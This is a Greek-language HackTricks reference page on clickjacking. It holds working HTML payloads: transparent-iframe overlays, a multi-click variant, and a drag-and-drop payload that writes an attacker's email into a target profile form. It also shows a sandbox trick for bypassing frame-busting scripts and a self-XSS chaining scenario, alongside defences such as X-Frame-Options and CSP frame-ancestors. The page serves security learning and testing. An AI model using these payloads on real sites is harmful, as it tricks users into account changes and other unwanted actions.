mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
225 lines
17 KiB
Markdown
225 lines
17 KiB
Markdown
# Clickjacking
|
||
|
||
<details>
|
||
|
||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||
|
||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||
|
||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||
|
||
</details>
|
||
|
||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||
Αποκτήστε πρόσβαση σήμερα:
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
||
## Τι είναι το Clickjacking
|
||
|
||
Σε μια επίθεση clickjacking, ένας **χρήστης** εξαπατιέται να **κάνει κλικ** σε ένα **στοιχείο** σε μια ιστοσελίδα που είναι είτε **αόρατο** είτε μεταμφιεσμένο ως διαφορετικό στοιχείο. Αυτή η διαστρέβλωση μπορεί να οδηγήσει σε μη επιθυμητές συνέπειες για τον χρήστη, όπως η λήψη κακόβουλου λογισμικού, ανακατεύθυνση σε κακόβουλες ιστοσελίδες, παροχή διαπιστευτικών ή ευαίσθητων πληροφοριών, μεταφορές χρημάτων ή την online αγορά προϊόντων.
|
||
|
||
### Κόλπος προσυμπλήρωσης φορμών
|
||
|
||
Μερικές φορές είναι δυνατόν να **συμπληρωθεί η τιμή των πεδίων ενός φόρμας χρησιμοποιώντας παραμέτρους GET κατά τη φόρτωση μιας σελίδας**. Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτήν τη συμπεριφορά για να συμπληρώσει ένα φόρμα με αυθαίρετα δεδομένα και να στείλει το clickjacking payload ώστε ο χρήστης να πατήσει το κουμπί Υποβολή.
|
||
|
||
### Συμπλήρωση φόρμας με Drag\&Drop
|
||
|
||
Αν χρειάζεστε τον χρήστη να **συμπληρώσει ένα φόρμα** αλλά δεν θέλετε να του ζητήσετε απευθείας να γράψει κάποιες συγκεκριμένες πληροφορίες (όπως το email και/ή συγκεκριμένο κωδικό πρόσβασης που γνωρίζετε), μπορείτε απλά να του ζητήσετε να **σύρει και απελευθερώσει** κάτι που θα γράψει τα ελεγχόμενα δεδομένα σας όπως σε [**αυτό το παράδειγμα**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
||
|
||
### Βασικό Payload
|
||
```markup
|
||
<style>
|
||
iframe {
|
||
position:relative;
|
||
width: 500px;
|
||
height: 700px;
|
||
opacity: 0.1;
|
||
z-index: 2;
|
||
}
|
||
div {
|
||
position:absolute;
|
||
top:470px;
|
||
left:60px;
|
||
z-index: 1;
|
||
}
|
||
</style>
|
||
<div>Click me</div>
|
||
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
|
||
```
|
||
### Πολυβήματος Φορτίο
|
||
```markup
|
||
<style>
|
||
iframe {
|
||
position:relative;
|
||
width: 500px;
|
||
height: 500px;
|
||
opacity: 0.1;
|
||
z-index: 2;
|
||
}
|
||
.firstClick, .secondClick {
|
||
position:absolute;
|
||
top:330px;
|
||
left:60px;
|
||
z-index: 1;
|
||
}
|
||
.secondClick {
|
||
left:210px;
|
||
}
|
||
</style>
|
||
<div class="firstClick">Click me first</div>
|
||
<div class="secondClick">Click me next</div>
|
||
<iframe src="https://vulnerable.net/account"></iframe>
|
||
```
|
||
### Σύρσιμο\&Ρίξιμο + Κλικ payload
|
||
```markup
|
||
<html>
|
||
<head>
|
||
<style>
|
||
#payload{
|
||
position: absolute;
|
||
top: 20px;
|
||
}
|
||
iframe{
|
||
width: 1000px;
|
||
height: 675px;
|
||
border: none;
|
||
}
|
||
.xss{
|
||
position: fixed;
|
||
background: #F00;
|
||
}
|
||
</style>
|
||
</head>
|
||
<body>
|
||
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
|
||
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
|
||
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
|
||
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
|
||
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
|
||
</body>
|
||
</html>
|
||
```
|
||
### XSS + Clickjacking
|
||
|
||
Εάν έχετε εντοπίσει μια επίθεση **XSS που απαιτεί από έναν χρήστη να κάνει κλικ** σε κάποιο στοιχείο για να **ενεργοποιήσει** το XSS και η σελίδα είναι **ευάλωτη στο clickjacking**, μπορείτε να το εκμεταλλευτείτε για να εξαπατήσετε τον χρήστη να κάνει κλικ στο κουμπί/σύνδεσμο.\
|
||
Παράδειγμα:\
|
||
_Βρήκατε ένα **self XSS** σε ορισμένες ιδιωτικές λεπτομέρειες του λογαριασμού (λεπτομέρειες που **μόνο εσείς μπορείτε να ορίσετε και να διαβάσετε**). Η σελίδα με τη **φόρμα** για την οριστικοποίηση αυτών των λεπτομερειών είναι **ευάλωτη** στο **Clickjacking** και μπορείτε να **προ-επιλέξετε** τη **φόρμα** με τις παραμέτρους GET._\
|
||
\_\_Ένας επιτιθέμενος θα μπορούσε να ετοιμάσει μια επίθεση **Clickjacking** σε αυτή τη σελίδα **προ-επιλέγοντας** τη **φόρμα** με το **XSS payload** και να εξαπατήσει τον **χρήστη** να **υποβάλει** τη φόρμα. Έτσι, **όταν η φόρμα υποβάλλεται** και οι τιμές τροποποιούνται, ο **χρήστης θα εκτελέσει το XSS**.
|
||
|
||
## Στρατηγικές για την Αντιμετώπιση του Clickjacking
|
||
|
||
### Άμυνες στην Πλευρά του Πελάτη
|
||
|
||
Τα scripts που εκτελούνται στην πλευρά του πελάτη μπορούν να εκτελέσουν ενέργειες για την πρόληψη του Clickjacking:
|
||
|
||
* Βεβαιωθείτε ότι το παράθυρο της εφαρμογής είναι το κύριο ή το κορυφαίο παράθυρο.
|
||
* Κάνοντας όλα τα πλαίσια ορατά.
|
||
* Αποτρέποντας τα κλικ σε αόρατα πλαίσια.
|
||
* Ανίχνευση και ειδοποίηση των χρηστών για πιθανές προσπάθειες Clickjacking.
|
||
|
||
Ωστόσο, αυτά τα scripts που αποτρέπουν τα πλαίσια μπορεί να παρακαμφθούν:
|
||
|
||
* **Ρυθμίσεις Ασφαλείας των Περιηγητών:** Κάποιοι περιηγητές ενδέχεται να αποκλείσουν αυτά τα scripts με βάση τις ρυθμίσεις ασφαλείας τους ή την έλλειψη υποστήριξης JavaScript.
|
||
* **Χαρακτηριστικό `sandbox` του iframe του HTML5:** Ένας επιτιθέμενος μπορεί να ανενεργοποιήσει τα scripts που αποτρέπουν τα πλαίσια επιλέγοντας το χαρακτηριστικό `sandbox` με τις τιμές `allow-forms` ή `allow-scripts` χωρίς την τιμή `allow-top-navigation`. Αυτό εμποδίζει το iframe από το να επαληθεύσει αν είναι το κορυφαίο παράθυρο, π.χ.,
|
||
```html
|
||
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
|
||
```
|
||
### Άμυνες στην Πλευρά του Διακομιστή
|
||
|
||
#### X-Frame-Options
|
||
|
||
Η **κεφαλίδα απόκρισης HTTP `X-Frame-Options`** ενημερώνει τους περιηγητές σχετικά με τη νομιμότητα απεικόνισης μιας σελίδας σε ένα `<frame>` ή `<iframe>`, βοηθώντας στην πρόληψη του Clickjacking:
|
||
|
||
- `X-Frame-Options: deny` - Καμία τομή δεν μπορεί να πλαισιώσει το περιεχόμενο.
|
||
- `X-Frame-Options: sameorigin` - Μόνο ο τρέχων ιστότοπος μπορεί να πλαισιώσει το περιεχόμενο.
|
||
- `X-Frame-Options: allow-from https://trusted.com` - Μόνο η συγκεκριμένη 'uri' μπορεί να πλαισιώσει τη σελίδα.
|
||
- Σημειώστε τους περιορισμούς: αν ο περιηγητής δεν υποστηρίζει αυτήν την οδηγία, ενδέχεται να μη λειτουργήσει. Κάποιοι περιηγητές προτιμούν την οδηγία CSP frame-ancestors.
|
||
|
||
#### Οδηγίες frame-ancestors στην Πολιτική Ασφαλείας του Περιεχομένου (CSP)
|
||
|
||
Η **οδηγία `frame-ancestors` στην CSP** είναι η συνιστώμενη μέθοδος για την προστασία από το Clickjacking:
|
||
|
||
- `frame-ancestors 'none'` - Παρόμοιο με το `X-Frame-Options: deny`.
|
||
- `frame-ancestors 'self'` - Παρόμοιο με το `X-Frame-Options: sameorigin`.
|
||
- `frame-ancestors trusted.com` - Παρόμοιο με το `X-Frame-Options: allow-from`.
|
||
|
||
Για παράδειγμα, η ακόλουθη CSP επιτρέπει μόνο την πλαισίωση από τον ίδιο τομέα:
|
||
|
||
`Content-Security-Policy: frame-ancestors 'self';`
|
||
|
||
Περισσότερες λεπτομέρειες και πολύπλοκα παραδείγματα μπορούν να βρεθούν στην [τεκμηρίωση CSP frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) και στην [τεκμηρίωση CSP frame-ancestors της Mozilla](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
|
||
|
||
### Πολιτική Ασφαλείας του Περιεχομένου (CSP) με `child-src` και `frame-src`
|
||
|
||
Η **Πολιτική Ασφαλείας του Περιεχομένου (CSP)** είναι μια μέτρηση ασφαλείας που βοηθά στην πρόληψη του Clickjacking και άλλων επιθέσεων εισαγωγής κώδικα, καθορίζοντας ποιες πηγές θα πρέπει να επιτρέπει ο περιηγητής να φορτώσει περιεχόμενο.
|
||
|
||
#### Οδηγία `frame-src`
|
||
|
||
- Ορίζει έγκυρες πηγές για frames.
|
||
- Πιο συγκεκριμένη από την οδηγία `default-src`.
|
||
```
|
||
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
|
||
```
|
||
Αυτή η πολιτική επιτρέπει frames από την ίδια προέλευση (self) και https://trusted-website.com.
|
||
|
||
#### Οδηγία `child-src`
|
||
|
||
* Εισήχθη στο CSP επίπεδο 2 για να ορίσει έγκυρες πηγές για web workers και frames.
|
||
* Λειτουργεί ως εναλλακτική λύση για τις οδηγίες frame-src και worker-src.
|
||
```
|
||
Content-Security-Policy: child-src 'self' https://trusted-website.com;
|
||
```
|
||
Αυτή η πολιτική επιτρέπει frames και workers από την ίδια προέλευση (self) και από το https://trusted-website.com.
|
||
|
||
**Σημειώσεις Χρήσης:**
|
||
|
||
* Απόσυρση: Το child-src αποσύρεται υπέρ του frame-src και worker-src.
|
||
* Συμπεριφορά Εφεδρικής Λειτουργίας: Εάν το frame-src λείπει, το child-src χρησιμοποιείται ως εφεδρική λύση για τα frames. Εάν και τα δύο λείπουν, χρησιμοποιείται το default-src.
|
||
* Αυστηρός Ορισμός Πηγών: Συμπεριλάβετε μόνο αξιόπιστες πηγές στις οδηγίες για να αποτρέψετε την εκμετάλλευση.
|
||
|
||
#### Σενάρια JavaScript Frame-Breaking
|
||
|
||
Παρόλο που δεν είναι εντελώς ασφαλή, τα scripts frame-busting βασισμένα σε JavaScript μπορούν να χρησιμοποιηθούν για να αποτρέψουν μια ιστοσελίδα από το να εμφωλιαστεί. Παράδειγμα:
|
||
```javascript
|
||
if (top !== self) {
|
||
top.location = self.location;
|
||
}
|
||
```
|
||
#### Χρήση Αντι-CSRF Διακριτικών
|
||
|
||
* **Επαλήθευση Διακριτικών:** Χρησιμοποιήστε αντι-CSRF διακριτικά σε web εφαρμογές για να εξασφαλίσετε ότι οι αιτήσεις που αλλάζουν την κατάσταση γίνονται εσκεμμένα από τον χρήστη και όχι μέσω μιας σελίδας που έχει υποστεί Clickjacking.
|
||
|
||
## Αναφορές
|
||
|
||
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
|
||
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
|
||
|
||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||
Αποκτήστε πρόσβαση σήμερα:
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||
|
||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφή**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|